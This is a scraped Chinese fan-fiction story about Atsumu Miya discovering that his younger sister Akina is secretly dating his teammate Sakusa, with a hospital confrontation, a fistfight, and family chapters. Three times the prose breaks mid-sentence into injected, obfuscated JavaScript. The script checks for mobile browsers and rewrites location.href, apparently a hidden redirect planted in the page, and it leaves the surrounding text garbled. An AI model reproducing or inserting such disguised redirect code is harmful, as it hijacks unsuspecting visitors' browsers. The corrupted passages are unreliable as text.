名字不假身份假。 香香不是什么大学同学 香香是秋奈谎言下的正牌男友 “香香”所有的感情困扰其实全部来自于秋奈 13岁的秋奈喜欢上了21岁的香香,开始了秋奈长达8年的暗恋 29岁的香香在公寓楼下亲吻了21岁的秋奈,结束了秋奈独自一人的兵荒马乱 这一幕正好被她那30岁正盘旋在催生焦虑期的暴躁老哥看了个正着,结果暴躁老哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293746|167042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现是自己亲手教妹妹怎么追男人,把妹妹送出去的。 这不完犊子了吗(拍大腿 悔,总之当事人现在就是非常后悔 —— 男人每个月都有那么几天的低沉期。 被蒙在鼓里当猴子耍的感觉,实在不是滋味。尤其是对方是自己的妹妹,他说不出究竟是自己被骗更难受,还是妹妹找了个老男人更难受。 如果低落的来源可以平分,那么一半对是妹妹撒谎的失望,一半是对自己种的小白菜被老香猪供坏的心痛。 今天宫侑和佐久早是最后留在更衣室的两个人。通常情况下,尽管佐久早不搭理宫侑,宫侑也能一个人吧啦吧啦好多有的没的事。今天在木兔和日向离开后,更衣室陷入了前所未有的安静。 “喝酒吗……”宫侑说出这话的时候压根就没有经过任何思考,这话也没有任何指向,他只是对着空气表达了他打算借酒消愁的这个想法。身边的人是佐久早,与其对他抱有回应的期待还不如相信太阳从西边出来的靠谱。 “可以。” 太阳为何真的会从西边出来,大概是出于对守望在西边的傻孩子的人道主义的同情吧。 陷入“失妹”悲伤的宫侑在酒精的作用下,公然越界勾搭着佐久早的肩开始称兄道弟的哭嚎了起来 “小臣臣,当哥不容易啊。我拿你当自己兄弟,也就不避讳那些了。你说,我家肥要是你妹妹,你怎么办?” “我家就这么一个姑娘,好不容易样把她养的这么水灵,结果上了大学,翅膀硬了就想飞。谈恋爱对我各种藏着掖着,撒谎用“我有个朋友”来套我话,拿我支的招去追一个老男人。还他妈大了她八岁,老牛吃嫩草……他也配?!” “诶,你听过哪个29岁的男人叫香香?” “……香香?” “对吧,骚断腿了都,一听就不是什么正经人。牛郎也不带取这种娘里娘气的名字的呀。” 佐久早喝了一口酒,饶有意味的嘀咕了一句,“……我确实不知道。” 宫侑听到佐久早含糊说了话,但却没听清,于是带着混身的酒气往佐久早身上蹭,“啊?你说什么?我……嗝~听不见。” 佐久早的脸色非常难看,他一把推开烂醉如泥的宫侑,按理来说下一步应该是直接离开这家居酒屋任他自生自灭,可他没这么做。反而破天荒的开了金口,提出了他的看法。 “你应该适当放手,你抓的越紧,她越要反抗,就越难对你敞开心扉。” “做不到……她,她被人欺负了怎么办?我是男的我最清楚,男人没一个好东西……”宫侑趴在桌子上越来越困,意识逐渐模糊,朦胧间他看不清佐久早究竟是何种脸色,在最后沉入睡梦中时,他似乎听见了一句若有无的回答 “香香保护她。” 至于这话究竟是出自佐久早之口还是宫侑的梦境,已经无从考究了。因为第二天起来,他什么都不记得。 —— 俩兄妹呛了好些天的气,大概是怒火攻牙,气的秋奈牙龈异常红肿,甚至左脸鼓起了一个小包。宫侑在俩人冷战期间偶然看见秋奈的脸,一时没忍住吐槽:“你胖头鱼转世?” ??? 原本形势就严峻的兄妹关系被他这一句更是推到了破裂边缘。 由于实在是疼痛难忍,秋奈去看了牙科,原来是智齿作祟。于是挂了三天的消炎盐水,后来因为消炎杀菌,破坏了肠道的菌群平衡,在凌晨的时候秋奈突发肠炎。 在这种要死要活的节点里,她突然意识到家人在身边是一件很令人心安的事情。起码不会有猝死家中,尸体无人问津的危险。 接到秋奈的电话后,宫侑第一时间从床上跳起来,随便披了一件外套就冲到了隔壁把因为疼痛扭成麻花的秋奈从床上捞起来带去了医院。 肠炎是小病,但是一旦发作起来确实是能要人半条命。凌晨的输液室里只有伶仃几人,秋奈被疼痛磨没了力气,疲惫地靠在嫂子肩上 宫侑中间又回去了一趟公寓带来了一些衣物和毯子给秋奈和大嫂保暖,自己也把睡衣换了去。 等他回来时,点滴下降了小半瓶。腹部感觉被撕裂的疼痛也已经有所缓解,秋奈合着眼睛似乎是睡着了。 来时匆忙,没能顾得上带走秋奈的手机,这趟回去宫侑顺势把秋奈的手机捎上了。宫侑站着像是在犹豫些什么,几秒后终是下了决心,走到秋奈身边拿起秋奈的大拇指,按在手机屏幕上——指纹解锁 成功 大嫂赶忙按住宫侑,压低了声音质问,“你想干嘛?” “给那孙子打电话。” “大半夜的给他打什么电话?人家要休息的呀,你别骚扰他。” “睡觉重要还是肥重要?就是要大半夜才能试出来这男的有没有对肥上心。你以前三更半夜打电话说你想吃烧烤,再晚我都起来帮你买送到你家门口。这算什么?何况咱们肥不是作妖买烧烤,她是病了。他要是不来,天亮我就要肥分手。” “来了你打算怎么样?”嫂子原本强烈阻住的心动摇了。但她仍然很纠结,人心经不起测试。她既想知道结果,又害怕结果让人大失所望。秋奈看起来很喜欢她现在的男朋友,如果他不来,后续又该怎么让她看清这个事实呢。 “会会他。” 宫侑特意走出输液室,打开手机通讯录,“香香”这个惹眼的备注就在最近通话记录的第二条,第一条是打给宫侑的求助电话。 呼入两小时十五分26秒,看着这串数字宫侑心里五味杂陈。 电话拨通后,才响了四声就被接起 “秋,怎么了?” 电话里的人困意未消,但能听出来他轻微的紧张,又不失沉静温柔。 听到这个声音,宫侑脑子里犹如被一道天雷劈中,一片空白。 对面的人没有听到回应,语气更加紧张了起来。 “秋,说话。你怎么了?” “秋?” “秋!出什么事了?” 什么都听不到了,什么都听不到了。宫侑在恍惚中听不进电话那头的任何呼唤,他双眼呆滞地看向幽长的走廊,迟疑不定,试探着开口 “圣臣……?” “………………” 8. 宫侑和香香 秋奈小升初的暑假,正好是宫侑入队的第一年。那年她十三岁,那年宫侑把秋奈接去东京随同他住了半个月。由于第一年回来前两天秋奈看起来有些不想走,尽管妹妹没提及过缘由。 不过他明白,他可太明白自家妹妹的尿性了。 宫侑深切的感受到了妹妹对他埋藏在心底寡言的爱,颇受感动。以至于后来,宫侑年年暑假都要接秋奈去东京,雷打不动。 “那个大哥哥香香的。” 这是秋奈从训练馆对她这次所见所闻作出的第一句评价。 “香?咱们队里没人来训练还给喷香水啊,只有一股子消毒水儿。” 秋奈舔食了几口刚买的冰淇凌,唇边还残留了些白色的冰沫。转头对宫侑扬起一个从未有过的明媚的微笑,“是香香的。” —— 凌晨的医院只有急诊的侧门开通,宫侑轻而易举的把佐久早拦在了门外。 佐久早在来的路上就已经有心理准备,他和宫侑的对峙是早晚的事,只是也没想过会这么突然。 他不知道该用怎样的词来形容这次的意外,抓包?捉奸?好像都不太合适,他们是正常恋爱,碍于中间穿插了一个宫侑导致关系特殊。瞒着队友和队友的妹妹谈恋爱,总是佐久早吃亏不占理,所以对于宫侑现在高高摆起的姿态他没有说什么。 “我先进去看她。” “睡着了。”宫侑根本没有让开的意思,语气不甚友好,“我们谈谈,佐久早…香、香。” 凌晨夜间的医院,安静得过分。一路上几乎没看到别的人。走着路的佐久早和宫侑,目光没有一刻对上。也毫无交流。 两人保持这样的状态,出了医院大门,又走了一段路。空荡荡的街道,明白色的路灯,刺眼又冷清。 像是到了个极其合适的位置。 宫侑突然停了下来,他侧过身,毫无征兆,用尽全力往佐久早脸上揍了一拳。 毫不客气,没半点收敛。 顺着这力道,佐久早往后退了几步,觉得半张脸都没了知觉,像是被火烧,带着麻意。他活动着脸上的肌肉,用指腹蹭了蹭稍稍裂开的唇角。 “好玩吗?” 佐久早纠正,“没有玩,是认真的。” 宫侑嘲讽般地笑了声,火气半点没消。他转了转脖子,伸手拽住佐久早的衣领,重重往下扯,抬起膝盖,往他的腹部顶,“那你他妈的就是玩儿我。” 他的力道极重,佐久早觉得全身都在疼,却也没反抗。 宫侑气得胃疼,又往他脸上揍了一拳,“香香?我他妈让你们两个当傻子耍!” 佐久早往后退,这次背撞到了墙上,闷哼了声。 宫侑把他扯过来,这次还上了脚。 “佐久早圣臣,我跟你算笔账,我第一次带她来球队见你们的时候,她十三岁。你搂着你第一个女朋友睡觉的时候,她才十岁。你知道十岁什么概念吗?小学四年级!”宫侑说,“她拿你当大哥哥,我拿你当好兄弟,你就是这么回报我的?” “我妹,秋奈,你看着她长大的,你还是不是人啊!艹!” 两人认识那么久,尽管性格上有诸多不合,但宫侑从来都没想到过他和佐久早圣会打架,而且是佐久早单方面挨打。 这头一遭,宫侑就像是想要了佐久早的命。 直到宫侑打累了,他才停手。佐久早直接坐到了地上。他的嘴里全是血腥味,往旁边吐了口血水。 这场架,让宫侑的情绪冷静了大半。 两人沉默了好一阵,火药味渐渐散去。 宫侑淡声问,“你俩发展到哪一步了?” 空气凝固几秒,宫侑直直地盯着佐久早,其实这事儿问出来他也尴尬,但他现在就和魔怔了似的非得把家底查清不可。 佐久早并没有打算就这个问题继续回答。 就凭佐久早这幅似是而非的态度,宫侑的心里就已经凉了一半。眼见他要挑起第二轮矛盾,佐久早淡然的说道,“你觉得我能做什么?” 能做什么?你能,你佐久早可能了。兄弟妹不可泡这个江湖规矩佐久早都一脚踹破了,还能有什么做不出来。宫侑心里极其矛盾,他既想窥探进程又害怕知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293747|167042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的结果会让他心肌梗塞,强烈的矛盾之下他赌气放弃了研究的想法,毕竟自己还想再多打几年球。 “算了,讲了我也不想听,堵得慌。” 宫侑瞟了几眼身边的佐久早,唇角破了皮,左眼角有些发肿,脸颊的淤伤还带了几丝血丝。估计身上应该也有几块地方也泛了紫。 那个小肥丫头看到了估计得和自己拼命。 在冷静的时间里,宫侑仍然觉得荒唐。一想到他俩在恋爱就浑身不舒坦。 宫侑整理了一下衣服,没招呼佐久早,就当他不存在一样自顾自的就往回走。 佐久早没落下,俩人一前一后走着就和来时一样沉默。唯一不同的是心境,佐久早在挨了一顿打后放下了压在心里的石头,不巧的是佐久早因坦白放下的石头,去了宫侑的心里。 “你打算怎么和她说。” 佐久早率先开口,打破了沉默。 “说?我打断她的腿。”宫侑挑眉,语气不耐烦到,“这是家事,外人管不着。” 佐久早顿了几秒,“好好和她说,她很怕你。” “怕我?”宫侑停了下来不可思议的转身看向佐久早,他打心眼儿的不理解这两个字,简直荒谬。他就这么一个妹妹,她要什么给什么,家里面最宠的就是她。这么多年了自己和宫治没让她在外头受过委屈,操着老父亲的心帮她安排生活照顾她。 宫侑自认为,这个世界上除了父母,没有人会比他更爱妹妹了。爱都爱不满,妹妹怎么会怕他。 宫侑的情绪十分直白,心里想什么直接挂在脸上,都不用人猜。 “佐久早你少在这里挑拨离间,我…” “你想过秋奈对你撒谎的理由吗?”佐久早打断了他的话。 理由?还能有什么理由,不就是你小子教唆的嘛? 想到这,宫侑额头的青筋突突跳起,正准备撸袖子干第二仗,却被佐久早一把按住了他的肩。 佐久早眉头微簇,“你总是这样不听人话,自说自话,所以秋奈才会想逃离你。” “想不明白,就回去好好想想。” 9. 秋奈的梦 “真羡慕你有两个这么帅的哥哥呀。” 这句话是秋奈前十八年人生中听到过频率第二多的话,榜上第一是“这孩子营养真好”。 在秋奈还没有形成熟的自我意识之前,她默认了这是一句夸奖,或许有两个哥哥真的还不错——起码别人认为不错。而就在秋奈幼儿园毕业以后,她彻底品出了有这两个哥哥的人生百态,于是在面对这样的羡慕时她一点都不觉得是自己的福气。 “你那么喜欢,这俩就送你了。” “诶——秋奈酱难道不喜欢你的哥哥吗?” 秋奈恳首到,“嗯,他们太贱了,我好烦他们。” 秋奈小时候深受八点档电视剧荼毒,看见屏幕里所演绎的感人至深的兄妹情大为震惊,原来兄妹还能有这么深刻的羁绊。再对比自己在两个恶魔统治下水深火热的生活,秋奈对哥哥们的不满与日俱增。 还是别人家的哥哥好 “如果我结婚了,你们会不会哭呀。” 宫侑和宫治正在往嘴里送饭的筷子同时掉落,很难相信这是一个八岁小孩问出来的问题。 宫治欲想开口却被宫侑一个抬手制止 “那个给你送糖的野崎君要娶你呀?” 秋奈在这个无厘头的反问里似乎是看到了一点肯定答案的苗头,于是面不改色的应了下来。 “嗯。” “不会。” “……” “除非那小子财力雄厚以后能定居国外,最好是北欧,你远嫁了我勉强会掉一滴泪。正好我队里每年有一次探亲假到时候你招待招待哥哥…以后哥哥飞黄腾达就靠你和野崎君了$%/&#…” 宫侑沉浸在自我设想里无法自拔,宫治和秋奈同时挪开了看傻子的目光。 沉默,沉默是今晚的康桥。 - “妈妈我不想要这个侑当我哥哥了。”秋奈愤慨的攥紧小拳头以示他对宫侑的恼火,嘴巴上却呜呜咽咽的表达她的委屈,宫妈妈见状端正了坐姿认真的询问道原委 “为什么呀?侑对你不好吗?” “不好!”秋奈想都没想便脱口而出,“他对我一点都不好!我不要侑!我要退货!” 宫妈妈对待这个高喊要退货的举动哭笑不得,“哥哥就是哥哥,怎么能退货?” “为什么不可以!便利店买到过期的牛奶可以退货,为什么哥哥不好就不可以退!” 眼见着秋奈嘴里说出来的话越来越没道理,宫妈妈便严肃了脸起来,不能再惯着她耍脾气。 “秋奈!” 宫妈妈一声厉令终止了秋奈的无理取闹,秋奈身体一个激灵不再敢发出声。 “哥哥就是哥哥,你们是兄妹,是一家人。不是商品和买卖的关系,不是你说不要就不要的,这种血脉相连的关系可以延续一辈子,你们要永远互敬互爱知道吗?” 听到这里秋奈再也绷不住情绪,一把扑到宫妈妈的怀里嚎啕大哭 “哥哥一点都不喜欢我!他还要我嫁给野崎君…他说我去了很远很远的地方一点都不会想我!可是…可是……” — 【可是,我很爱我的哥哥,我不想离开他们】 秋奈骤然惊醒,她迷茫的看向最近能触及到的人,脸色依然苍白,急促地喘着气仿佛一只惊魂未定的小鹿,泪眼婆娑。 大嫂见状连忙安抚,“是不是做噩梦了?” 她拿出一块手帕擦了擦秋奈不受控制一直往下掉落的眼泪,“肚子还疼吗?还有没有不舒服?” 零碎的记忆开始拼凑,她除了昏过去前给宫侑打了最后一通电话,其他的全都不知道了。 秋奈摇了摇头,“现在没事了,我只是做了一个梦,梦到了以前的事情…” 她将目光扫向四周,白炽灯下的输液室只有她和大嫂显得格外空荡。 “侑呢…?” “你哥他…” 大嫂面露难色,支吾半天也没能说出个宫侑具体的动向。秋奈心里隐约有了不好的预感。 “你和佐久早在交往吗?” 秋奈浑身像被通了电一样的酥麻,刺骨的凉意贯穿身体的每个角落。过去的二十年,没有哪一刻会让她如现在这般无地自容。嫂子的反问扯下了她这段用谎言迷惑宫侑的恋爱最后的遮羞布,她像个做错了事的孩子那般垂下了眼眸,秋奈的答案再明晰不过。 输液室的门忽然被打开,宫侑并没有因为秋奈的好转而褪下脸上的阴沉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293748|167042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他站定在秋奈的面前,秋奈却不敢抬头,宫侑垂落在身体两侧的手映入秋奈的视野,宫侑右手的指关节发红,甚至有两处破皮的痕迹。 一个可怕的想法占据了她的意识,她下意识地就抓住宫侑的右手慌张确认伤口,良久喃喃自语道 “你打他了…你打他了…” 宫侑没有立即回应,他缓缓的蹲下与秋奈对视,她不害怕宫侑的暴怒,她怕的是平静表面下宫侑眼里对她道不尽的失望。 “心疼是吗?你怎么不心疼心疼你哥?” “我错了,我不应该骗你的。你生气你可以骂我,但你真的不要打他…” 面对秋奈为了维护佐久早,向来高傲的她却在向自己讨怜,本来克制着的怒意却不受控制的涌上心头,便放出了违背本意的狠话 “我告诉你,只要你们还在一起,佐久早我见一次打一次。你俩合起伙来玩儿我是吧,那我也玩儿死他。” 秋奈显然被吓住了,硕大的泪珠像断了线一般的从脸颊上不断划落,她更加用力的攥住了宫侑的手,生怕她下一秒就不听解释甩开了自己。 “是我先喜欢他的!他拒绝过我,你真的不要怪他。是我一直缠着他不放,是我先勾引他的!” 宫侑的瞳孔不断放大,不可置信地看向秋奈,他怎么样都无法接受自己刚刚听到的话。 “秋奈!”见形式不妙大嫂打断了秋奈的话,“你知道你在说什么吗?!” 大嫂又立刻推了推宫侑的臂膀,“侑,有什么问题咱们回家再说,别在这里闹。” 宫侑对大嫂的劝导充耳不闻,他的声音有些发颤,“我和治,爸爸妈妈有苛待过你吗?” 秋奈急忙摇头否认 “是我们不够爱你,对你不够好吗?” 秋奈咬紧了下唇,啜泣着再次否认 “从小到大你想要的任何东西,我们没有给到你吗?” 这三个问题的连问抨击着秋奈的愧疚心,她已然不敢再抬头看宫侑。 “我们宠你爱你,金尊玉贵的把你养着,是为了让你有底气的告诉别人你是宫家的女儿,是为了让你在每一个年岁里活得张扬自信。不是让你今天为了一个男人说这些话作践自己的!” 10. 大结局 “小姑,我出生的时候你在干嘛呀。” “凌晨一点呢,我在睡觉。” - 宫清 是治的第一个孩子 外面急促匆忙的脚步声和窸窣的整理声吵醒了秋奈,秋奈很快就从迷糊的状态里清醒过来意识到现在发生了什么。小春嫂嫂二胎的预产期就在这几天了,所以宫治一家人又搬回了老房子待产,一是宫家爸妈能帮忙,不至于让宫治一个人手忙脚乱。二是在大人们去陪产时,有人可以照顾五岁的宫清。 秋奈急匆匆地赶下了楼,看见宫妈正扶着破了羊水的小春上车,宫爸和宫治有条不紊的将准备好的行李和用品搬上后备箱。 时间紧急,宫治看见刚下楼的秋奈只得简明扼要地嘱咐几句,“小春要生了,清儿就交给你照顾了。” 秋奈恳首道,“嗯我知道。孩子生了记得报平安,我带清儿过去。” 目送他们离开后秋奈心里正打算把独睡的宫清抱到自己的房间,刚转过身发现宫清不知道什么时候已经站在了秋奈的身后。 秋奈惊讶于她的突然出现,无意忽略了她不安的情绪。 “弟弟要来了对不对?”没等秋奈回答,宫清突然情绪激动的喊叫道,“我就知道!你们只喜欢弟弟!” “清儿!谁教你说这些的?” 宫清倔强的擒着泪没有说话,眼睛直勾勾的盯着秋奈似乎在向她索要答案。她什么都没说,可在这样的眼神里她又好像控诉了千言万语。 秋奈意识到,没有人教她,是她自己打心底里这么认为的。 这很可怕,她才五岁。 秋奈缓缓的蹲下,她并不擅言辞,试图向她解释“清儿,弟弟的到来并不会减少我们对你的喜欢呀。” 无限的委屈在顷刻间崩塌,宫清不受控的大哭,“小姑你以前是家里最小的孩子,大家都是最喜欢你的,你才不会明白!” 这句话像一根利刺狠狠地扎进了秋奈的心里,都说童言无忌,小孩无论善意还是和恶意表达往往都是更直白犀利。正因为是孩子说的,她才感觉比任何尖锐的言语更让她感到心痛。 【不是的,不是这样的。我明白生命中曾今亲密无间的家人脱离自己生活的失落,我明白更年幼的下一代到来时家人生活重心转移的不适应。可是,如果要单凭“家里只喜欢最小的孩子”这句话来审判他被大孩子拒绝接纳的理由的话,这对那个孩子来说一点都不公平。我是做过家里最小的孩子,可是从来没有想过独占。宫治在梦游吗?他没有给清儿做思想工作吗?他没有去给清儿引导过弟弟不是掠夺者这件事吗?他不是能更明白,有兄弟姐妹要出现时的心情吗…等等,他真的明白吗…学生时代脑子里除了排球就是饭团的人真的会在意我的出生吗…】 或许是秋奈急于表达对宫清错误认知的否定,或许是秋奈太想告诉她自己和宫治小春到底有多爱她,秋奈的脑海闪现过太多年幼时的画面,一时分不清楚过去和现实,看不清眼前的人,她有些失控的紧攀住宫清的肩膀争辩到 “清儿!那你知不道知道,在你出生之后我早就不是家里最小的孩子了。我从来没有不爱过你,从来没有!” _ 当秋奈得知小春嫂嫂初次怀孕时,她对于自己从小辈到长辈得角色转换没有太大感受,准确的说她没有做姑姑的实感。秋奈正读国中二年级,在宫治的孩子出生之前自己仍然是家里的老幺,比起家里要迎接新的生命她现在更关注的是从嫂嫂那里继承来的化妆品要怎么收纳的这个问题。 宫治结婚之后就已经搬去了自己的公寓居住,他脱离了原本的家,又有了自己的家。小春嫂嫂进门原来应该是增添人丁的好事,可在盛大热闹的婚礼结束后,秋奈看着隔壁空荡荡的房间被一种无以名状的失落席卷。 婚礼上筹光交错,宫侑在宫治的婚礼上的狂洒香槟,宫爸爸由于太过紧张磕磕巴巴的发言,宫妈妈在台下看着新人交换戒指潸然泪下,所有人都在舞池内尽情狂欢。在这样的氛围里秋奈无法不被感染,她内心产生了无与伦比的幸福感,她暗自期许时间可以定格在这一刻。 然而现实是冰冷的,抽离了光怪迷离的派对,秋奈犹如站在孤寂的荒漠里。她真真切切的明白了一件事——没有谁能永远陪伴自己,即便是最亲的家人,也会在不同的时间以不同的形式与自己告别。宫治步入了婚姻的人生,宫侑更是早早开启了追梦的人生,只有自己仍被困在与他们共同成长的回忆里。 老房子里的一家五口变成了一家三口 秋奈的生活变得清净了些,在新的生活习惯里按部就班着。她每隔半个月会去一次宫治的新家住宿,周五去周日回。每天晚上六点会定时观看体育台的新闻,如果宫侑有什么国内的比赛,在不撞课的情况下都会去现场。 如果当期体育杂志有关于宫侑球队的采访,不能说第一时间买下,但确实是每一期都没有错过。 自从小春怀孕后宫治就没让老婆来店里帮过忙,头三个月胎儿不稳定,店里人来人往的实在是怕一个不小心磕着碰着。宫治的饭团店地处商圈,虽然店里有雇佣全职的服务员,但在节假日时期还是会忙的找不着北。正当宫治考虑要不要再多招一个员工的时候,秋奈出现在店里笃定地告诉宫治她是不会算错账的。秋奈主动的帮助让宫治又惊又喜,于是作为优质劳动力的秋奈顺理成章的就成了宫饭团的节假日限定收银员。 遥想宫饭团刚开业,帮宫治打响第一炮的,不是饭团的美味,而是老板的美色。在首批女顾客对外进行高度赞扬后,一传十十传百,前来打卡的年轻女孩子络绎不绝,把店面的门槛都要给挤破了。 包括现在在收银台前不停向后厨张望,心猿意马点餐的西村。 宫家哥哥的帅气在秋奈所在的学校那可是远近闻名。学校里论坛上宫治给秋奈开家长会时被同学偷拍的两张照片已经被转包浆了,为了掩盖被身边女同学的赞美和羡艳淹没的小得意,秋奈故作淡然道,“哦?很帅吗?看多了也就那样吧。” 宫饭团的门槛能被踏破,更是少不了秋奈校友的助力。其中的小粉头西村尤甚,宫治结婚的事实并没有消磨她对宫治颜值的热衷程度,她有时候也会对秋奈抱怨,都怪宫家哥哥太帅,拔高了她对男人的审美,以后没宫家哥哥帅的男孩子绝对看不上。 秋奈即便不能做到热情服务,也至少能做到礼貌服务,不过面对心怀不轨的客户秋奈开始没了耐心催促道,“你点不点?” 西村回过神,“哦哦点的。” “这个金枪鱼寿司多少一份。” “四十五。” “这么贵……” “那生鱼片寿司呢?” “四十五。” “我可是你同学!” “九十,下一位。” “哎哎哎!”西村忙不迭的阻止,“你把我当猪杀啊!你嫂子呢,她怎么不在?” “她怀孕了。” 简简单单四个字让西村整个人大脑宕机,在她停止思考的那几秒里像是有一生那么长。而秋奈亲眼目睹她在短短几秒内从心如死灰到重燃希望的全过程。 西村虔诚的握住秋奈的手,秋奈不自觉得往后退了一步,诡异实在诡异。 “秋奈,生鱼片寿司和金枪鱼寿司我都要。帮我向你嫂子问个好,一定要生男孩,我会等他长大的。” 得不到老子就不放过儿子 秋奈一边感叹西村变态属性的同时,一边暗自吐槽哪里有一定会生男孩这么确定的事情。 “有啊。”在听到秋奈转述西村的话并加以否定时,宫治停下手里打扫的活反之加以肯定,“老妈怀你的时候我们就很确定你是个女孩。” “哈?”这颠覆了秋奈的生理知识,“可是怀孕时男女的概率不是百分之五十吗?” 宫治这才发现秋奈从来都不知道自己是怎么来的,“你不知道吗?你是试管婴儿,从一开始你的性别就是定好的。” 这条消息严重超出了她包容量能负荷的程度,这回轮到秋奈脑子宕机。一时间变成了个小哑巴,张着嘴巴想说点什么又什么都说不出。 “我…我和你们真的完全不一样……从出生开始。” 宫治察觉到了秋奈从小自卑的端倪,“你当然和我们不一样,你是高科技产物,是老爸老妈心心念念的女儿。你出生那天老爸脸都笑歪了,我和侑可就没那么招爸爸喜欢,据妈妈说我俩的名字差点就叫狗剩和狗蛋了,老爸超级偏心哦~” 秋奈眼睛一亮,前面宫治说的一大串全是吧啦吧啦吧啦无用信息被过滤,只有“高科技”听了进去,立马就在心里画起了等式 ∵试管婴儿=高科技 ∵宫秋奈=试管婴儿 ∴宫秋奈=高科技 【想通了,难怪我和这两个笨蛋不一样】 “爸爸偏心,你和侑不会讨厌我吗?” “emmm.....”宫治倚靠在拖把的手柄上,佯装思考,“没有比侑更让我觉得讨厌的人了吧,只要不是偏心侑对我来说没差。这个世界上爱本来就是难以平分的,有的得到太多,有的得到太少,而往往一些你认为的差别对待只是出场顺序问题。在你出生前,爸爸妈妈的全部精力都放在了我和侑的身上,作为他们的第一个孩子我们比你多得了9年的爱,所以这又该如何比较呢?老妈我们做过思想引导,怕我们不接纳你。但是啊,老妈似乎忘记了一件事,我和侑是双胞胎,从在老妈肚子里开始就不得不接纳对方与自己共享。” 说到后面,连宫治自己都笑了,“你不听话的时候也会烦你,人都打算出门了还得被老妈拦住带你,真的饶了我吧。” “可是你马上也要带孩子了耶…” “是啊,我居然要当爸爸了。”宫治似乎也对自己身份的转换颇感不可思议。 秋奈双手托着肉肉的脸乖巧的坐在收银台前,她认真审视面前的男人,他褪去少年时的随然恣意,取而代之的是即将为人父的沉稳可靠,他变得有些陌生,这种陌生的距离感又远又近。他不再是自己记忆里不想带她吃炸鸡就随便扔给她一个被书包压扁成大饼的团饭的二哥,那些三个人凑在一起嬉笑打闹的日子已然被冲入了时间的洪流。 秋奈的思绪飘得很远很远,下意识的喃喃自语,“原来我们都长大了……” “你说什么?” “没有,我只是说…你喜欢儿子还是女儿?” “都喜欢。”宫治回答的爽快,“你呢,喜欢侄子还是侄女。” “都喜欢,只要是你的孩子,我就喜欢。” 这句话是真心的,不存在任何欺瞒。 秋奈感激小春嫂嫂对自己事事如亲妹妹那般细致入微的照顾,小春嫂嫂的出现完全满足了秋奈想要姐姐的愿望。被糙男人狠狠摩擦过的小心灵受到了如沐春风的治愈。秋奈缺乏言语上的表达,总想着在行动上回馈些什么,直到小春嫂嫂在她生日时收到的一瓶贵价香水制止了秋奈。 小春即便是工作了,她的消费观也不是执着于贵价物品,只是这样的一个奢侈品牌的沙龙香对于一个学生来说实在是有些困难。 小春没有拒收这次的礼物,“秋奈,下一次真的不要送这么贵的东西给我了。” “可是你平时给我买了很多东西。”秋奈明白小春嫂嫂对她好,她内心深处也是想要对小春好。” 小春看得出秋奈小心思,认真想了想,“再等你长大些了,等我有了孩子,你多带我的孩子买些好吃好玩的吧。” 在秋奈看来,这是婉拒。小春和她的孩子完全是两个不同的个体,她只想回馈小春,不想和麻烦的小孩子玩,这怎么能等同的啊! 秋奈的意识回到了现实,宫清显然被秋奈失控的情绪吓到,眼泪汪汪的憋着不敢哭,她认识到自己说了错话,怕秋奈不再喜欢自己,于是主动靠近秋奈环抱住她,肉肉的小脸贴着秋奈耳朵,带着哭腔乞求,“小姑你不要讨厌清儿好不好…” “对不起,对不起,对不起…” 秋奈一遍遍反复道歉,清儿没有错,错的是他们。清儿没有像宫侑宫治那样的同胞兄弟可以从未出世时就开始接纳彼此,清儿更没有秋奈与在与哥哥共同成长的大家庭里被一点点引导。 从出生到现在所有人都告诉她我最爱你,而现在又告诉她有人会分走你的爱,爱的天平会失衡,对她来说无异于是一种抛弃和背叛。 秋奈摸索了十四年才略微学会怎么去爱,又怎么能够要求一个五岁的孩子立刻去懂得这个道理。世界上根本就不存在理所当然,只有大人的自以为是。 秋奈把宫清抱回了房间,宫清在床上紧紧依偎着秋奈,秋奈温柔的拍着她的背安抚着宫清,“清儿,无论之后你会有几个弟弟妹妹,小姑永远是最爱你的。” “真的吗…” “真的,因为在你出生前,你遵守了我们的约定先来见了我。” _ 胎教 网上说,怀孕四个月可以进行胎教,五个月可以感受到胎动。如今小春怀孕8个月,秋奈好奇宫治会给他的宝宝做何种形式的胎教,是给宝宝听音乐呢,还是给宝宝讲故事。 “肥,看好了我给你打个样。”说罢他便转头对着小春的8个月的肚子喊到,“喂喂喂,我是你爹。” 小春嫂嫂眉毛一簇,手起刀落,一记手刃准确无误地击打在宫治的天灵盖上。 “你正经点。秋奈,你来和宝宝说说话。” 秋奈小心翼翼的靠近小春的孕肚,她并没有准备什么特别的大道理要讲,也没有值得给出的素质胎教,可以说对着这样一个圆滚滚的肚皮她脑子里几乎是一片空白。她发愣了几秒,立即转换了思路,她开始想象肚子里已经完全成型宝宝的模样… 【他会是男孩还是女孩,他长得像宫治还是像小春,如果可以我希望他也能像我一点。】 